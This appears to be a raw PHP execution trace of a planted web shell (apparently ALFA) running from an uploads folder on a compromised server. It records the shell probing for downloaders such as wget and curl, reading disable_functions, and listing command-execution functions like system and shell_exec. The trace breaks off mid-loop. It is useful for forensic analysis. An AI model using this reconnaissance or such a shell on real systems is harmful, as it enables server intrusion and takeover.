8	390	0	0.152221	3922624	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[]
8	390	1	0.152238	3922688
8	390	R			''
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = ''
7	387	1	0.152264	3922544
7	387	R			''
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = ''
6	386	1	0.152288	3922544
6	386	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = ''
5	385	1	0.152311	3922504
5	385	R			FALSE
5	391	0	0.152325	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'suidperl'
6	392	0	0.152339	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which suidperl'	FALSE	FALSE	???
7	393	0	0.152355	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which suidperl'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	394	0	0.152381	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	394	1	0.152395	3922584
8	394	R			TRUE
8	395	0	0.152408	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which suidperl'	''
8	395	1	0.153576	3922688
8	395	R			''
8	396	0	0.153600	3922624	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[]
8	396	1	0.153616	3922688
8	396	R			''
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = ''
7	393	1	0.153642	3922544
7	393	R			''
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = ''
6	392	1	0.153667	3922544
6	392	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = ''
5	391	1	0.153690	3922504
5	391	R			FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1161	$downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1162	$x = 0
5	397	0	0.153735	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1163	1	'wget'
6	398	0	0.153749	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which wget'	FALSE	FALSE	???
7	399	0	0.153765	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which wget'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	400	0	0.153790	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	400	1	0.153804	3922584
8	400	R			TRUE
8	401	0	0.153823	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which wget'	''
8	401	1	0.155071	3923088
8	401	R			'/usr/bin/wget'
8	402	0	0.155097	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => '/usr/bin/wget']
8	402	1	0.155114	3923048
8	402	R			'/usr/bin/wget'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = '/usr/bin/wget'
7	399	1	0.155143	3922584
7	399	R			'/usr/bin/wget'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = '/usr/bin/wget'
6	398	1	0.155170	3922584
6	398	R			'/usr/bin/wget'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = '/usr/bin/wget'
5	397	1	0.155197	3922504
5	397	R			13
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1163	$x++
5	403	0	0.155222	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1163	1	'fetch'
6	404	0	0.155236	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which fetch'	FALSE	FALSE	???
7	405	0	0.155252	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which fetch'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	406	0	0.155277	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	406	1	0.155291	3922584
8	406	R			TRUE
8	407	0	0.155304	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which fetch'	''
8	407	1	0.156508	3922688
8	407	R			''
8	408	0	0.156531	3922624	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[]
8	408	1	0.156548	3922688
8	408	R			''
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = ''
7	405	1	0.156574	3922544
7	405	R			''
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = ''
6	404	1	0.156598	3922544
6	404	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = ''
5	403	1	0.156621	3922504
5	403	R			FALSE
5	409	0	0.156635	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1163	1	'lynx'
6	410	0	0.156650	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which lynx'	FALSE	FALSE	???
7	411	0	0.156665	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which lynx'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	412	0	0.156691	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	412	1	0.156705	3922584
8	412	R			TRUE
8	413	0	0.156718	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which lynx'	''
8	413	1	0.157919	3922688
8	413	R			''
8	414	0	0.157942	3922624	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[]
8	414	1	0.157958	3922688
8	414	R			''
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = ''
7	411	1	0.157984	3922544
7	411	R			''
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = ''
6	410	1	0.158009	3922544
6	410	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = ''
5	409	1	0.158032	3922504
5	409	R			FALSE
5	415	0	0.158045	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1163	1	'links'
6	416	0	0.158060	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which links'	FALSE	FALSE	???
7	417	0	0.158076	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which links'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	418	0	0.158101	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	418	1	0.158115	3922584
8	418	R			TRUE
8	419	0	0.158128	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which links'	''
8	419	1	0.159371	3922688
8	419	R			''
8	420	0	0.159395	3922624	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[]
8	420	1	0.159411	3922688
8	420	R			''
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = ''
7	417	1	0.159437	3922544
7	417	R			''
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = ''
6	416	1	0.159461	3922544
6	416	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = ''
5	415	1	0.159490	3922504
5	415	R			FALSE
5	421	0	0.159504	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1163	1	'curl'
6	422	0	0.159519	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which curl'	FALSE	FALSE	???
7	423	0	0.159535	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which curl'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	424	0	0.159560	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	424	1	0.159574	3922584
8	424	R			TRUE
8	425	0	0.159587	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which curl'	''
8	425	1	0.160793	3923088
8	425	R			'/usr/bin/curl'
8	426	0	0.160818	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => '/usr/bin/curl']
8	426	1	0.160835	3923048
8	426	R			'/usr/bin/curl'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = '/usr/bin/curl'
7	423	1	0.160864	3922584
7	423	R			'/usr/bin/curl'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = '/usr/bin/curl'
6	422	1	0.160890	3922584
6	422	R			'/usr/bin/curl'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = '/usr/bin/curl'
5	421	1	0.160917	3922504
5	421	R			13
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1163	$x++
5	427	0	0.160941	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1163	1	'get'
6	428	0	0.160955	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which get'	FALSE	FALSE	???
7	429	0	0.160971	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which get'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	430	0	0.160997	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	430	1	0.161011	3922584
8	430	R			TRUE
8	431	0	0.161024	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which get'	''
8	431	1	0.162232	3922688
8	431	R			''
8	432	0	0.162255	3922624	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[]
8	432	1	0.162271	3922688
8	432	R			''
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = ''
7	429	1	0.162297	3922544
7	429	R			''
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = ''
6	428	1	0.162321	3922544
6	428	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = ''
5	427	1	0.162344	3922504
5	427	R			FALSE
5	433	0	0.162358	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1163	1	'lwp-mirror'
6	434	0	0.162373	3922552	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which lwp-mirror'	FALSE	FALSE	???
7	435	0	0.162389	3922552	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which lwp-mirror'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	436	0	0.162415	3922552	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	436	1	0.162429	3922592
8	436	R			TRUE
8	437	0	0.162442	3922576	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which lwp-mirror'	''
8	437	1	0.163650	3923112
8	437	R			'/usr/bin/lwp-mirror'
8	438	0	0.163674	3923000	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => '/usr/bin/lwp-mirror']
8	438	1	0.163700	3923064
8	438	R			'/usr/bin/lwp-mirror'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = '/usr/bin/lwp-mirror'
7	435	1	0.163732	3922600
7	435	R			'/usr/bin/lwp-mirror'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = '/usr/bin/lwp-mirror'
6	434	1	0.163760	3922600
6	434	R			'/usr/bin/lwp-mirror'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = '/usr/bin/lwp-mirror'
5	433	1	0.163787	3922504
5	433	R			19
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1163	$x++
5	439	0	0.163813	3922504	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1181	1	'get_magic_quotes_gpc'
5	439	1	0.163828	3922544
5	439	R			TRUE
5	440	0	0.163840	3922504	get_magic_quotes_gpc	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1181	0
5	440	1	0.163854	3922504
5	440	R			FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1181	$quotes = FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1181	$magic = '<span class="header_off">OFF</span>'
5	441	0	0.163891	3922504	Alfa_GetDisable_Function	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1183	0
6	442	0	0.163905	3922504	ini_get	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	917	1	'disable_functions'
6	442	1	0.163920	3922984
6	442	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	917	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	918	$afa = '<span class="header_show_all">All Functions Accessible</span>'
6	443	0	0.163981	3922952	explode	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	920	2	','	'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
6	443	1	0.164005	3925424
6	443	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	920	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
6	444	0	0.164072	3925352	array_unique	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	921	1	[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
6	444	1	0.164104	3926720
6	444	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	921	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	922	$i = 0
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	923	$b = 0
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	924	$func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	925	$black_list = []
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	926	$allow_list = []
6	445	0	0.164230	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_alarm'
6	445	1	0.164243	3925384
6	445	R			'pcntl_alarm'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_alarm'
6	446	0	0.164269	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_alarm'
6	446	1	0.164283	3925384
6	446	R			FALSE
6	447	0	0.164296	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_fork'
6	447	1	0.164310	3925384
6	447	R			'pcntl_fork'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_fork'
6	448	0	0.164334	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_fork'
6	448	1	0.164348	3925384
6	448	R			FALSE
6	449	0	0.164362	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_waitpid'
6	449	1	0.164375	3925384
6	449	R			'pcntl_waitpid'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_waitpid'
6	450	0	0.164399	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_waitpid'
6	450	1	0.164413	3925384
6	450	R			FALSE
6	451	0	0.164426	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_wait'
6	451	1	0.164438	3925384
6	451	R			'pcntl_wait'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_wait'
6	452	0	0.164462	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_wait'
6	452	1	0.164476	3925384
6	452	R			FALSE
6	453	0	0.164489	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_wifexited'
6	453	1	0.164502	3925384
6	453	R			'pcntl_wifexited'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_wifexited'
6	454	0	0.164526	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_wifexited'
6	454	1	0.164540	3925384
6	454	R			FALSE
6	455	0	0.164553	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_wifstopped'
6	455	1	0.164566	3925384
6	455	R			'pcntl_wifstopped'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_wifstopped'
6	456	0	0.164590	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_wifstopped'
6	456	1	0.164603	3925384
6	456	R			FALSE
6	457	0	0.164616	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_wifsignaled'
6	457	1	0.164629	3925384
6	457	R			'pcntl_wifsignaled'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_wifsignaled'
6	458	0	0.164654	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_wifsignaled'
6	458	1	0.164667	3925384
6	458	R			FALSE
6	459	0	0.164680	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_wifcontinued'
6	459	1	0.164693	3925384
6	459	R			'pcntl_wifcontinued'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_wifcontinued'
6	460	0	0.164717	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_wifcontinued'
6	460	1	0.164731	3925384
6	460	R			FALSE
6	461	0	0.164743	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_wexitstatus'
6	461	1	0.164756	3925384
6	461	R			'pcntl_wexitstatus'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_wexitstatus'
6	462	0	0.164780	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_wexitstatus'
6	462	1	0.164794	3925384
6	462	R			FALSE
6	463	0	0.164807	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_wtermsig'
6	463	1	0.164820	3925384
6	463	R			'pcntl_wtermsig'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_wtermsig'
6	464	0	0.164848	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_wtermsig'
6	464	1	0.164861	3925384
6	464	R			FALSE
6	465	0	0.164874	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_wstopsig'
6	465	1	0.164887	3925384
6	465	R			'pcntl_wstopsig'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_wstopsig'
6	466	0	0.164911	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_wstopsig'
6	466	1	0.164924	3925384
6	466	R			FALSE
6	467	0	0.164936	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_signal'
6	467	1	0.164949	3925384
6	467	R			'pcntl_signal'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_signal'
6	468	0	0.164973	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_signal'
6	468	1	0.164986	3925384
6	468	R			FALSE
6	469	0	0.164999	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_signal_get_handler'
6	469	1	0.165011	3925384
6	469	R			'pcntl_signal_get_handler'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_signal_get_handler'
6	470	0	0.165036	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_signal_get_handler'
6	470	1	0.165049	3925384
6	470	R			FALSE
6	471	0	0.165062	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_signal_dispatch'
6	471	1	0.165075	3925384
6	471	R			'pcntl_signal_dispatch'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_signal_dispatch'
6	472	0	0.165100	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_signal_dispatch'
6	472	1	0.165113	3925384
6	472	R			FALSE
6	473	0	0.165126	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_get_last_error'
6	473	1	0.165138	3925384
6	473	R			'pcntl_get_last_error'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_get_last_error'
6	474	0	0.165163	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_get_last_error'
6	474	1	0.165176	3925384
6	474	R			FALSE
6	475	0	0.165189	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_strerror'
6	475	1	0.165202	3925384
6	475	R			'pcntl_strerror'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_strerror'
6	476	0	0.165226	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_strerror'
6	476	1	0.165239	3925384
6	476	R			FALSE
6	477	0	0.165252	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_sigprocmask'
6	477	1	0.165265	3925384
6	477	R			'pcntl_sigprocmask'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_sigprocmask'
6	478	0	0.165290	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_sigprocmask'
6	478	1	0.165303	3925384
6	478	R			FALSE
6	479	0	0.165316	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_sigwaitinfo'
6	479	1	0.165328	3925384
6	479	R			'pcntl_sigwaitinfo'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_sigwaitinfo'
6	480	0	0.165353	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_sigwaitinfo'
6	480	1	0.165367	3925384
6	480	R			FALSE
6	481	0	0.165379	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_sigtimedwait'
6	481	1	0.165392	3925384
6	481	R			'pcntl_sigtimedwait'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_sigtimedwait'
6	482	0	0.165418	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_sigtimedwait'
6	482	1	0.165431	3925384
6	482	R			FALSE
6	483	0	0.165444	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_exec'
6	483	1	0.165459	3925384
6	483	R			'pcntl_exec'
